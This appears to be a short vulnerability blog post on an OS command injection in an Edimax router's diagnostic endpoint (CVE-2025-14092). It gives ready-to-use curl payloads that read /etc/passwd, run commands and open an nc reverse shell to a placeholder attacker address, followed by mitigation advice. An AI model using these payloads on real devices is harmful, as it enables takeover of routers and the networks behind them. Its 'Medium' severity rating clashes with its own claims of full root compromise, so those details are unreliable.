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The vulnerability CVE-2025-14092 is an OS command injection flaw within the `sub_416898` function of the `/boafrm/formDebugDiagnosticRun` file in the Edimax router’s web interface. This function processes the ‘host’ parameter from user input during a diagnostic operation, typically intended for actions like ping or traceroute. The vulnerability exists because the application concatenates the user-supplied ‘host’ argument directly into a system command string without proper sanitization or validation. An attacker can inject arbitrary commands by appending them to the host parameter using shell metacharacters such as semicolons (;), ampersands (&), or backticks (`). Since the function executes with the privileges of the web server process, often root or a high-privilege user in embedded systems, the injected commands run with full system control. The attack is remotely exploitable via a crafted HTTP POST request to the vulnerable endpoint, requiring no user interaction. Publicly disclosed proof-of-concept exploits demonstrate the ease of achieving unauthenticated remote code execution, leading to a complete compromise of the affected router device.
Platform: Edimax BR-6478AC V3
Version: 1.0.15
Vulnerability: OS Command Injection
Severity: Medium
Date: December 5, 2025
Prediction: January 15, 2026
What Undercode Say:
Showing bash commands and codes related to the blog
curl -X POST http://<router_ip>/boafrm/formDebugDiagnosticRun -d "host=127.0.0.1;cat /etc/passwd" curl -X POST http://<router_ip>/boafrm/formDebugDiagnosticRun -d "host=127.0.0.1&id"
Payload to launch a reverse shell curl -X POST http://<router_ip>/boafrm/formDebugDiagnosticRun -d "host=127.0.0.1;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <attacker_ip> <port> >/tmp/f"
How Exploit:
An attacker crafts an HTTP request to the vulnerable endpoint (/boafrm/formDebugDiagnosticRun), injecting OS commands into the ‘host’ parameter. The webserver executes the malicious command string, granting the attacker remote code execution on the device.
Protection from this CVE
Apply vendor firmware patch.
Disable WAN access to web interface.
Implement network segmentation for IoT devices.
Impact
Full device compromise.
Unauthorized network access.
Persistence and backdoor installation.
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Sources:
Reported By: nvd.nist.gov
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